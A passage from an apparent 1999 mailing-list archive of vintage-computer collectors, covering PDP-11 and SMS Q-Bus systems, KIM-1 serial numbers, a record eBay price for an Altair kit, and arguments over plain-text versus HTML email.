_them_. Nah. > Well, there's be a good reason for doing that in the UK. The license for > a colour TV is something like 4 times the cost of one for a black and > white TV. And the extra 'entertainment' might not be worth that much. TVs require licenses in the UK? What about if you buy a CRT and make your own? From meo at netads.com Wed Jan 6 20:41:42 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: <199901070229.SAA15142@geocities.com> from "Max Eskin" at Jan 6, 99 09:29:13 pm Message-ID: <199901070241.UAA12053@wildride.netads.com> Max Eskin said... | |TVs require licenses in the UK? What about if you buy a CRT and make your |own? It's illegal, of course. Ifthey don't catch you, there's no license fee. If they catch you, you're sent to Australia. Talk about a win-win situation! -M From healyzh at aracnet.com Wed Jan 6 20:42:40 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:51 2005 Subject: Help (SMS Q-Bus systems) In-Reply-To: <01be39cd$7a8ea440$cac962cf@devlaptop> Message-ID: >Hi folks, > >I have a chance to pick up some SMS Q-bus systems that were being used as a >security entry system. I dont know anything about them and assume (because >of the Q-bus moniker) these to be uPDP equivilents. The apparently two >computers are in a 19' rack system. I haven't and won't see them until >Saturday so that's all the info so far... Please help, anybody know these >systems? > >Thanks >- Mike: dogas@leading.net I'll assume they're some variaty of SMS-1000. I've got a pair, mine came with PDP-11/73 CPU cards, and 256KW of RAM in the form of DEC boards. The I/O is not Q-Bus, and is SMS proprietary. The systems you're looking at could be /23's or /73's. Based on what I've seen I'll assume they've got one floppy drive 5.25" or 8", and one Hard Drive. Since they are in a Rack, and they've been used as a security system, they might have some interesting cards and peripherals. One of mine is running RT-11, the other has given it's CPU to the PDP-11/73 I built using a BA123 and all kinds of cool parts :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From sinasohn at ricochet.net Wed Jan 6 20:52:21 1999 From: sinasohn at ricochet.net (Uncle Roger) Date: Sun Feb 27 18:39:51 2005 Subject: paper -> HTML (and The First PC) Message-ID: <3.0.16.19990106161657.5fd71b8a@ricochet.net> At 01:49 AM 12/30/98 -0600, you wrote: > 1) do a color scan to grab images > 2) clean up images > 3) resize based on guess at a good size and res for web pages Don't think you can do much about these steps. I usually shoot for 320x240 pixels for web images -- on most monitors that's about 4" by 3" or so. It used to be (not sure if this is still true) that the default width for netscape on the mac gave you 400 pixels across; I believe on the PC it was 480? (I'll have to dig up that article again.) Also, that's a manageable size for downloads. Anyway, on a 640x480 screen, you lose some width for scroll bars and all; plus you need a border/margin... Sure, you can design your web pages for 800x600, if you don't care that most people won't be able to see it all at once. > 4) scan again as B/W line art > 5) OCR > 6) clean up OCR > 7) create HTML combining OCR'd text and images > >I don't much like PDF for web docs, so an HTML solution would be best. It >looks like the "pro" version of Xerox's OCR software might automate the >task somewhat. Any recommendations? Well, your main issue is getting the text into machine-readable format. My current belief is the best way (especially for lower quality originals) is to read them into a word processor using dragon dictate or similar. Once you've got a text file, there are several options to get them HTML'ized, including things like MS Word, and HTML editors. (I prefer doing it manually.) Depending on what you're doing, a CGI program that reads/formats text files, inserting images as necessary, might be the way to go. (See http://www.sinasohn.com/clascomp/index2.htm) for an example.) --------------------------------------------------------------------- O- Uncle Roger "There is pleasure pure in being mad roger@sinasohn.com that none but madmen know." Roger Louis Sinasohn & Associates San Francisco, California http://www.sinasohn.com/ From SUPRDAVE at aol.com Wed Jan 6 20:57:38 1999 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 18:39:51 2005 Subject: y2k stuff Message-ID: In a message dated 1/6/99 8:26:02 PM US Eastern Standard Time, rigdonj@intellistar.net writes: > >I've also been told by some credit card company call center reps that they > >couldn't do something or other for me because the "computer wouldn't let > >them". > > Don't you know a brush-off when you hear it? Employees LOVE to blame > things on the computer! it's not a brush off, really. in my helpdesk job, computer applications we use wont do certain things unless required info is present or in right format. sure, there are stupid operators, but the computer sometimes is at fault too. From healyzh at aracnet.com Wed Jan 6 21:14:20 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> References: <9901070010.ZM2470@indy.dunnington.u-net.com> <"Barry A. Watzman" Message-ID: >Sheesh. Plain text really sucks. Y'all prefer that someone type _like this_ >to indicate a piece of underlined text? or my habit *bolding* with Yes, I prefer this. >asterisks? This message "encoded" with HTML is roughly 5% larger than it is >in plain text. Wow, now that's a waste of resources. How typically American, why is it that the general American public thinks that the rest of the world has the same level of access as they do? Many of the members of the list have to pay for their connect time by the minute, they don't need that extra amount, and Microsoft spews a lot more than 5%, if they did it properly it wouldn't add a lot, but with their crappy programming it's more like 20%. >Sure, sure, some of you actually enjoy typing in ASCII art to illustrate >something, I don't. Stick in a darn diagram. No, I don't enjoy typing in ASCII art, the best method to do it in this day and age would be to either post it on a web page, and put the URL in the message and let those that want to access it. If you don't have a web page, simply tell people in the message that you can send a diagram upon request. >Do you have a telephone in your house or a telegraph (and if you have a Both, doesn't everyone? >Here is my advice, you (the folks whining that they can only read plain >text messages) have got between 6 and 18 months before you will be deleting >everything because its encoded in some more descriptive form. If you can't Again, how typically American! I'm starting to hate American's to the point I'm looking for another country to move to, since I'm embarrased to say that I'm an American myself. Anyone know any good countries that I can move to, and not be embarassed to be associated with? The Internet is not an American only thing! I'd like to point out a few things, my reaction to a message that was about %30 HTML caused this thread to spring into being. I'm using a e-mail client that can handle it without any problem, I've also got a dedicated 384k line, so bandwidth isn't a problem for me. Therefore I can handle a nice rich document, BUT I've also got the manners not to force them onto others! You will find that people on other lists will consider such behavior rude also. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From spc at armigeron.com Wed Jan 6 21:25:51 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: <4.1.19990106165949.009afd70@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 6, 99 05:10:57 pm Message-ID: <199901070327.WAA09214@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 7951 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/12cede29/attachment.ksh From netcafe at pirie.mtx.net.au Wed Jan 6 21:40:09 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats Message-ID: <01be39ef$6cd7c6c0$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Miles O'Neal To: Discussion re-collecting of classic computers Date: Thursday, 7 January 1999 14:08 Subject: Re: Message formats >Max Eskin said... >| >|TVs require licenses in the UK? What about if you buy a CRT and make your >|own? > >It's illegal, of course. > >Ifthey don't catch you, there's no license fee. > >If they catch you, you're sent to Australia. > >Talk about a win-win situation! For who? We quit taking POME years ago. We still get pom immigrants though......;^) Cheeers Geoff Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From dogas at leading.net Wed Jan 6 21:48:31 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:51 2005 Subject: Help (SMS Q-Bus systems) Message-ID: <01be39f0$98180d80$dfc962cf@devlaptop> From: Zane H. Healy Thanks Zane... Being pdp experience deficient, I appreciate the info. I have a 11/93 that I haven't been able to get working yet... I'm looking forward to my first rt-11 experience. - Mike: dogas@leading.net From netcafe at pirie.mtx.net.au Wed Jan 6 21:58:21 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats Message-ID: <01be39f1$f748d680$f17d38cb@netcafe.pirie.mtx.net.au> -----Original Message----- From: Zane H. Healy To: Discussion re-collecting of classic computers Date: Thursday, 7 January 1999 14:43 Subject: Re: Message formats >Again, how typically American! I'm starting to hate American's to the >point I'm looking for another country to move to, since I'm embarrased to >say that I'm an American myself. Anyone know any good countries that I can >move to, and not be embarassed to be associated with? Come on down (under). >The Internet is not an American only thing! No it isn't. I accept that the original concept and the early development work took place in the US. The growth of the net has made it a global phenomenon, though the spam is nearly all American in origin! > >I'd like to point out a few things, my reaction to a message that was about >%30 HTML caused this thread to spring into being. I'm using a e-mail >client that can handle it without any problem, I've also got a dedicated >384k line, so bandwidth isn't a problem for me Lucky boy. That sort of bandwidth is way out of reach of most people in this country. A typical home user would probably have a 28.8 or 33.6k modem, with a few 56k's thrown in. 56k doesn't always work well, heck I'm using a 56k USR modem, but it won't connect to my ISP faster than 33.6k, even though the ISP supports it. Phone line quality most likely. ISDN is available, but it's timed by the second, and frightfully expensive to install, so most ISP's won't allow a dial on demand, they will only do ISDN for a permanent connection. Change ISP's did I hear you say? There are only 2 here. We are in the country ~100 miles from Adelaide, plenty more there, but it's 50c a minute for a long distance call during the day, and it's not a lot different there Since a permanent 33.6k modem line (like this one) costs around $290 a month, and a commercial 64k ISDN permanent is around $1000 a month, you don't see a lot of users on it yet..... Oh yes, our local phone calls are not timed (yet - they keep threatening - mostly because of net users) but the backlash from consumers is keeping them on the back foot - for now. They are not, however, free, it's 30c a call, though a local call in Australia can cover a sizeable area depending what area code you are in. The 08 area code covers the entire state of SA, which is roughly 5 or 6 times the area of the UK. Local calls are roughly a 50 mile radius of the place you call from. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From dogas at leading.net Wed Jan 6 21:59:59 1999 From: dogas at leading.net (Mike) Date: Sun Feb 27 18:39:51 2005 Subject: Help (SMS Q-Bus systems) Message-ID: <01be39f2$31addfa0$dfc962cf@devlaptop> From: Zane H. Healy Thanks Zane. Looks like I may get my first taste of rt-11. My boat's come in. - Mike: dogas@leading.net From kyrrin at my-dejanews.com Wed Jan 6 22:24:25 1999 From: kyrrin at my-dejanews.com (Bruce Lane) Date: Sun Feb 27 18:39:51 2005 Subject: FW: 11/73 available In-Reply-To: References: Message-ID: <36a036b9.468041227@smtp.jps.net> Found on Usenet. Anyone near the U. of Iowa want to talk to this guy? It sounds kind of beat up, but might make a good parts box. -=-=- -=-=- On Wed, 6 Jan 1999 15:17:30 -0600, in vmsnet.pdp-11 you wrote: >>From: Brian Deitte >>Newsgroups: vmsnet.pdp-11 >>Subject: Clueless questions about a for sale PDP 11/73 >>Date: Wed, 6 Jan 1999 15:17:30 -0600 >>Organization: The University of Iowa >>Lines: 18 >>Message-ID: >>NNTP-Posting-Host: black.weeg.uiowa.edu >>Mime-Version: 1.0 >>Content-Type: TEXT/PLAIN; charset=US-ASCII >>X-Sender: bdeitte@black.weeg.uiowa.edu >>Path: news1.jps.net!news.pbi.net!151.164.30.35!cyclone.swbell.net!newsfeed.berkeley.edu!netnews.com!news-feed.fnsi.net!cyclone.i1.net!uunet!in1.uu.net!news.uiowa.edu!black.weeg.uiowa.edu!bdeitte >>Xref: news1.jps.net vmsnet.pdp-11:803 >> >>Hello. I've been given a PDP 11/73 that was going to be thrown away. >>I've searched for quite a few hours on the Web for resellers, and all I >>could find was agora and auction-it.net. Any advice on a price range or >>where to look for someone who wants one is appreciated. >> >>If you've read this far, I assume you're interested in some way, so here's >>some extra information: >>According to a a picture I saw somewhere, its a BA23 standing tower. >>I found the following cards: M3106(2), M8017AA, M7546, M7555. >>The front has a TK50 and a Micropolis "Disk Memory Unit" with a S/N >>7074231037. >>Some of pins on back are broken, and the power cord has been snipped, but >>supposedly it worked at its former residence, although I don't even know >>how to test it. >> >>Feel free to send by email if you feel this is irrelevant to this >>newsgroup. Thanks, Brian. -=-=-=-=-=-=-=-=- Bruce Lane, Owner and head honcho, Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com Web: http://www.bluefeathertech.com "...No matter how we may wish otherwise, our science can only describe an object, event, or living thing in our own human terms. It cannot possibly define any of them..." From donm at cts.com Wed Jan 6 22:45:53 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:39:51 2005 Subject: T1200 Laptop network card - was Re: 53rd state was Re: Y2K In-Reply-To: <01be39dd$712d4360$f17d38cb@netcafe.pirie.mtx.net.au> Message-ID: On Thu, 7 Jan 1999, Computer Room Internet Cafe wrote: > > -----Original Message----- > From: Joe > To: Discussion re-collecting of classic computers > > Date: Thursday, 7 January 1999 12:30 > Subject: 53rd state was Re: Y2K > > > > Naw, you're not even close to being the 53rd state! We're going after > >Puerto Rico right now, the ten Canadian provinces are next, then Mexico. > >You guys are way down the list. It must be sad to realize that you follow > >even Mexico! > > > > Sorry, couldn't resist! :-) > > > There's a line there, ah what the heck. > > Sad is not the word, relieved perhaps! :^) > > I couldn't resist either. Mind you, looking at TV here, > or driving around any medium sized city, and seeing the > Kentucky Fried Chicken, McDonalds and Hungry Jacks (=Burger King) > outlets, and seeing all the kids roaming around in those silly baggy shorts > with their baseball caps on backwards, it's getting hard to tell the > difference. Naw, you missed the salient point. It is their HEADS that are on backwards! - don **** snip **** From dastar at ncal.verio.com Wed Jan 6 23:17:03 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer In-Reply-To: <3694110C.D8153B2F@rain.org> Message-ID: On Wed, 6 Jan 1999, Marvin wrote: > Serial Number - http://www.rain.org/~marvin/kimserno.jpg That's more of a stamp (not silk-screening) so its possible it could be a serial number. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From kyrrin at bluefeathertech.com Wed Jan 6 23:29:42 1999 From: kyrrin at bluefeathertech.com (Bruce Lane) Date: Sun Feb 27 18:39:51 2005 Subject: Year End Clearance In-Reply-To: <65d06de0.368a79e2@aol.com> Message-ID: <3.0.5.32.19990106212942.00927ba0@mail.bluefeathertech.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1022 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990106/028e348a/attachment.bin From altair8800 at hotmail.com Thu Jan 7 00:29:09 1999 From: altair8800 at hotmail.com (Bob Wood) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price Message-ID: <19990107062910.29289.qmail@hotmail.com> $6710.00 Wow! http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52822778 ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From gregorym at cadvision.com Thu Jan 7 00:04:39 1999 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price Message-ID: <3.0.32.19990106230437.006bb4b4@cadvision.com> I know the Altair was historically significant, and it's very collectible, but give me a break! I paid less than that for my car. I'm hoping the fix was somehow in on this auction, in an attempt to drive collectible prices up - otherwise, I'll have to give up all hope of ever owning any pre-1980 computers that I don't already have. If this is truly where the market is going, most people on this list might be able to retire on the Riviera after all! :v) Mark. At 10:29 PM 1/6/99 PST, you wrote: >$6710.00 Wow! > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52822778 > > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > > From mark_metzler at xoommail.com Thu Jan 7 01:23:20 1999 From: mark_metzler at xoommail.com (Mark Metzler) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price Message-ID: <199901070723.XAA23871@www2.xoommail.com> I knew you should have held onto all those Altairs longer, Bob! At 10:29 PM 1/6/99 PST, you wrote: >$6710.00 Wow! > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=5282 2778 > > >______________________________________________________ >Get Your Private, Free Email at http://www.hotmail.com > > --- Mark Metzler VON NEUMANN MACHINES Online Computer History Bookstore/Museum http://home.pacbell.net/mmetzler/vnm.html ______________________________________________________ Get your free web-based email at http://www.xoom.com SPECIAL OFFER: 250 Web Site Templates, Only $29.95! - http://orders.xoom.com/email From adavie at mad.scientist.com Thu Jan 7 02:21:27 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer In-Reply-To: Message-ID: <002601be3a16$b89952a0$9ef438cb@a.davie> My boxed KIM has 6502 dated 4875, and latest onboard date 0376. My Users Guide is dated March 1976, the Cross Assembler (preliminary) manual August 1975, and wouldn't you (&%^% know it, the machine-postage-stamp on the box omits a date :(. There's a white inkstamped number (078) on the back of the KIM. Leftmost digit, if present, is under rubber foot. Digits look the same (slightly messier) than the 0001 in the URL Marvin supplied. Looks fairly safe to say that the number on the back IS a serial number, and my copy, board #78, was manufactured around March/April 1976. Cheers A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Sam Ismail > Sent: Thursday, January 07, 1999 4:17 PM > To: Discussion re-collecting of classic computers > Subject: Re: Kim-1 Computer > > > On Wed, 6 Jan 1999, Marvin wrote: > > > Serial Number - http://www.rain.org/~marvin/kimserno.jpg > > That's more of a stamp (not silk-screening) so its possible it could be a > serial number. > > Sellam Alternate e-mail: > dastar@siconic.com > ------------------------------------------------------------------ > ------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 12/27/98] > > From chrish at knet.kootenay.net Thu Jan 7 03:58:57 1999 From: chrish at knet.kootenay.net (Chris Halarewich) Date: Sun Feb 27 18:39:51 2005 Subject: Computer History Message-ID: <36948560.5988362E@knet.kootenay.net> here is a pdp6 pricelist in .pdf format http://www.vortex.com/comphist.html Chris -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/ce8729ca/comphist.html From yowza at yowza.com Thu Jan 7 06:57:41 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:51 2005 Subject: Kim-1 Computer In-Reply-To: <002601be3a16$b89952a0$9ef438cb@a.davie> Message-ID: Mine is a late model S/N 6176, postage cancled on May 18, 1977. From altair8800 at hotmail.com Thu Jan 7 07:04:16 1999 From: altair8800 at hotmail.com (Bob Wood) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price Message-ID: <19990107130417.15827.qmail@hotmail.com> Mark Metzler wrote: >I knew you should have held onto all those Altairs longer, >Bob! Actually I have managed to hold on to more than I have sold, Mark. I had decided to stop listing my Altair stuff on eBay for now because there seemed to be a glut of Altair items going on there. But this is the first whole original 8800 that has been listed since earlier last year when the two were on simultaneously. It will be interesting to see if this selling price causes more to be listed. Bob > >At 10:29 PM 1/6/99 PST, you wrote: >>$6710.00 Wow! >> >>http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=5282 >2778 >> >> >>______________________________________________________ >>Get Your Private, Free Email at http://www.hotmail.com >> >> > >--- Mark Metzler > > VON NEUMANN MACHINES >Online Computer History Bookstore/Museum >http://home.pacbell.net/mmetzler/vnm.html > >______________________________________________________ >Get your free web-based email at http://www.xoom.com >SPECIAL OFFER: 250 Web Site Templates, Only $29.95! - >http://orders.xoom.com/email > > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From rigdonj at intellistar.net Thu Jan 7 09:13:59 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price In-Reply-To: <19990107062910.29289.qmail@hotmail.com> Message-ID: <3.0.1.16.19990107091359.306fdb68@intellistar.net> At 10:29 PM 1/6/99 PST, you wrote: >$6710.00 Wow! > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=52822778 DAMMMMM!!!! Makes a $500 Kim-1 look like a bargain!! Any idea who the "lucky" winner is? I looked at the bid history, there were at least three last minute snipers. Joe From Philip.Belben at PowerTech.co.uk Thu Jan 7 07:12:38 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:39:51 2005 Subject: Americans (was: Re: Message formats) Message-ID: <802566F2.0048509D.00@PTECHNOTES02.PowerTech.co.uk> Zane Healy wrote: > Again, how typically American! I'm starting to hate American's to the > point I'm looking for another country to move to, since I'm embarrased to > say that I'm an American myself. Anyone know any good countries that I can > move to, and not be embarassed to be associated with? The Internet is not > an American only thing! I'd recommend Britain, except that we hate Americans too, and you might not be too welcome ;-) Canada might be worth a try, though. Philip. From yowza at yowza.com Thu Jan 7 07:34:36 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price In-Reply-To: <3.0.1.16.19990107091359.306fdb68@intellistar.net> Message-ID: On Thu, 7 Jan 1999, Joe wrote: > DAMMMMM!!!! Makes a $500 Kim-1 look like a bargain!! Any idea who the Did you read the description? This one was advertised as an unassembled kit: << Once in a lifetime opportunity! Build your own Altair or just keep it in its original kit form! >> So, now we know how much an unassembled Altair kit will go for, and we know that most people can't tell the difference between an assembled kit and an unassembled one. -- Doug From Philip.Belben at pgen.com Thu Jan 7 06:09:37 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:39:51 2005 Subject: y2k stuff Message-ID: <802566F2.0047A351.00@WESTD90.pgen.co.uk> >>I've also been told by some credit card company call center reps that they >>couldn't do something or other for me because the "computer wouldn't let >>them". > > Don't you know a brush-off when you hear it? Employees LOVE to blame > things on the computer! Reminds me of an event a couple of years ago. As those of you who have met me will know, I am something of an eccentric. A few years ago, I had a medical examination and the doctor, sorry, physician (I doubt he has a doctor's degree) who examined me said I needed glasses, go and see an optician. I went to see the optician and had an eye test. I then tried to order a monocle. There are (apparently) two standard monocle frames available, and (complete with lens) the price was L42. Easy? No. Nothing we could do or say could convince the order processing software that one could order a frame with only one lens. Eventually we got the price down to L45 - L42 for frame and one lens, and L3 for fitting an existing lens to the other side. The girl taking the order then had to go and find her superior, who used special authority to give me a 3 pound discount. So don't dismiss it too soon if someone says the computer won't let them do it. Philip. From adavie at mad.scientist.com Thu Jan 7 07:35:59 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price In-Reply-To: Message-ID: <000301be3a42$a9549da0$14f438cb@a.davie> What I find interesting is the coincidental recent discussion on the feasibiltiy of disassembling an Altair back to kit form. Seems worthwhile, now ;) A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html ? > So, now we know how much an unassembled Altair kit will go for, and we > know that most people can't tell the difference between an assembled kit > and an unassembled one. > > -- Doug From altair8800 at hotmail.com Thu Jan 7 07:54:52 1999 From: altair8800 at hotmail.com (Bob Wood) Date: Sun Feb 27 18:39:51 2005 Subject: Altair kits?? Message-ID: <19990107135453.5169.qmail@hotmail.com> I notice from the pictures of the Altair 8800 kit on eBay that the front panel and power supply have been wired and assembled. The kit I found also has the front panel and power supply wired and assembled. QUESTION - to any of the folks out there who put these kits together originally... Is this the way you received them from MITS? With the front panel and/or the power supply pre-wired and assembled? Thanks, Bob Wood ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From ckaiser at oa.ptloma.edu Thu Jan 7 08:40:42 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: <199901070229.SAA15142@geocities.com> from "Max Eskin" at Jan 6, 99 09:29:13 pm Message-ID: <199901071440.GAA12706@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1066 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990107/2f640332/attachment.ksh From meo at netads.com Thu Jan 7 09:40:22 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:51 2005 Subject: Message formats In-Reply-To: from "Zane H. Healy" at Jan 6, 99 07:14:20 pm Message-ID: <199901071540.JAA14075@wildride.netads.com> Zane H. Healy said... | |How typically American, why is it that the general American public thinks How typically whatever. There's no reason to start country-bashing. Plenty of people in the USA (North America alone includes Canada and Mexico, but I suspect you didn't mean them) don't have this attitude. I work for an international company (owned by Belgians). I have to fight people in Belgium and England over this issue, too. And I'm the one pushing for plain text. Of course, I'm a Texan, and one could contend that it's a different country. 8^) -Miles From cswiger at wilma.widomaker.com Thu Jan 7 09:36:07 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:39:51 2005 Subject: Altair kits?? Message-ID: >QUESTION - to any of the folks out there who >put these kits together originally... >Is this the way you received them from MITS? >With the front panel and/or the power supply >pre-wired and assembled? No. At least not mine on the 'kit a month' plan. The way MITS was it wouldn't suprise me if they did ship out some partially built to fill demand for kit orders, but it wasn't in my case. More trivia: The last 'kit-a-month' installment of $60 got you the CPU chip. By that time generic 8080's were less than that so I just bought an NEC chip elsewhere to save a few $$. Chuck cswiger@widomaker.com From meo at netads.com Thu Jan 7 09:55:30 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:39:51 2005 Subject: The Apostrophic War Message-ID: <199901071555.JAA14205@wildride.netads.com> Philip.Belben@pgen.com said... | |So don't dismiss it too soon if someone says the computer won't let them do |it. Years ago my dad got fed up with the fact that he had a couple dozen gas, credit and other cards with our name spelled without an apostrophe. He called, wrote letters, and generally waged a one man war. People were calling back begging him to please keep the cards, the computers did it, there was no way. Dad eventually cut most of them up and sent them back. He even had a VP or two call him! Dad had an ace in the hole. He knew a COBOL programmer, who explained that it was just basically stupidity, laziness, or being overly clever that led to these problems, and reminded him that our bank used computers and COBOL, and that everything related to us at the bank had apostrophes in our name. Dad eventually did manage to talk to MIS people at a couple of the companies, and after a bit of argument they agreed that this would be resolved within a year. Dad was amazed that it would take this long, but when they talked about budgets and politics he calmed down (since he was head of a college chemistry department and acting dean). Eventually they came through. I've always wondered just how much Dad's private war had to do with the fact that today, the commercial computer program that won't take apostrophes in a name (at least in the USA 8^) is rare. Now if the programmers would just program searches to try it with and without the apostrophe when one is entered (since people still leave them out on occasion...) -Miles From jimw at agora.rdrop.com Thu Jan 7 10:00:10 1999 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:39:51 2005 Subject: Altair kits?? In-Reply-To: <19990107135453.5169.qmail@hotmail.com> Message-ID: On Thu, 7 Jan 1999, Bob Wood wrote: > QUESTION - to any of the folks out there who > put these kits together originally... > Is this the way you received them from MITS? > With the front panel and/or the power supply > pre-wired and assembled? Having built most of the various ALtair models over the years... They were received as complete kits. (parts in baggies!) No sections or boards were pre-wired. -jim --- jimw@agora.rdrop.com The Computer Garage - http://www.rdrop.com/~jimw Computer Garage Fax - (503) 646-0174 From marvin at rain.org Thu Jan 7 10:11:06 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price References: Message-ID: <3694DC9A.EB945A50@rain.org> Doug Yowza wrote: > > So, now we know how much an unassembled Altair kit will go for, and we > know that most people can't tell the difference between an assembled kit > and an unassembled one. Or partially assembled one! I saw the photos and was kind of wondering what the story is. Perhaps I missed something in my quick glance, but I didn't see any boards mentioned, and just some photos of what looked like an assembled box, and a bunch of parts. From erd at infinet.com Thu Jan 7 10:22:08 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:39:51 2005 Subject: The Apostrophic War In-Reply-To: <199901071555.JAA14205@wildride.netads.com> from "Miles O'Neal" at Jan 7, 99 09:55:30 am Message-ID: <199901071622.LAA15520@user2.infinet.com> > > Philip.Belben@pgen.com said... > | > |So don't dismiss it too soon if someone says the computer won't let them do > |it. > > Years ago my dad got fed up with the fact that he > had a couple dozen gas, credit and other cards with > our name spelled without an apostrophe. He called, > wrote letters, and generally waged a one man war. I forget the exact issue, but in a late-1970's Byte or Creative Computing, there was an article entitled, "They're ruining our names" by a Mike? O'Grady. His complaint was that mail arrived to OGRADY, Ogrady, even Ogruley. He was told the same thing: the computer can't handle it. A cheap excuse, but nearly unassailable. When someone tells me over the phone that "the computer made a mistake", I am usually riled up enough to demand to know if the serviceman has arrived yet. The drone always asks why, and I reply that if the _computer_ made a mistake, then it must be broken. OTOH, if the computer isn't broken, then it's a human error and a human can fix it. -ethan From bill at chipware.com Thu Jan 7 10:26:52 1999 From: bill at chipware.com (Bill Sudbrink) Date: Sun Feb 27 18:39:51 2005 Subject: A new Altair record price Message-ID: <001801be3a5a$887ca3d0$bb88e9cf@yamato.chipware.com> Marvin wrote: > Doug Yowza wrote: > > > > So, now we know how much an unassembled Altair kit will go for, and we > > know that most people can't tell the difference between an assembled kit > > and an unassembled one. > > Or partially assembled one! I saw the photos and was kind of > wondering what > the story is. Perhaps I missed something in my quick glance, but I didn't > see any boards mentioned, and just some photos of what looked like an > assembled box, and a bunch of parts. I kind of enjoyed the "I've never powered it up" disclaimer at the bottom. Should be sort of obvious for an unassembled kit? From marvin at rain.org Thu Jan 7 11:05:00 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:39:51 2005 Subject: Recent Findings References: <01be2fc6$9b933ae0$748ea6d1@the-general> <36830EF3.589B6705@bigfoot.com> Message-ID: <3694E93C.788A184A@rain.org> Besides the Kim-1 (which isn't mine ), I did acquire a few interesting things. I got a Radio Shack Micro Color Computer (the first in my collection!), a Sharp PC-5000 portable computer w/ built in printer and external floppy drive, and a Silent 700 Data terminal WITH 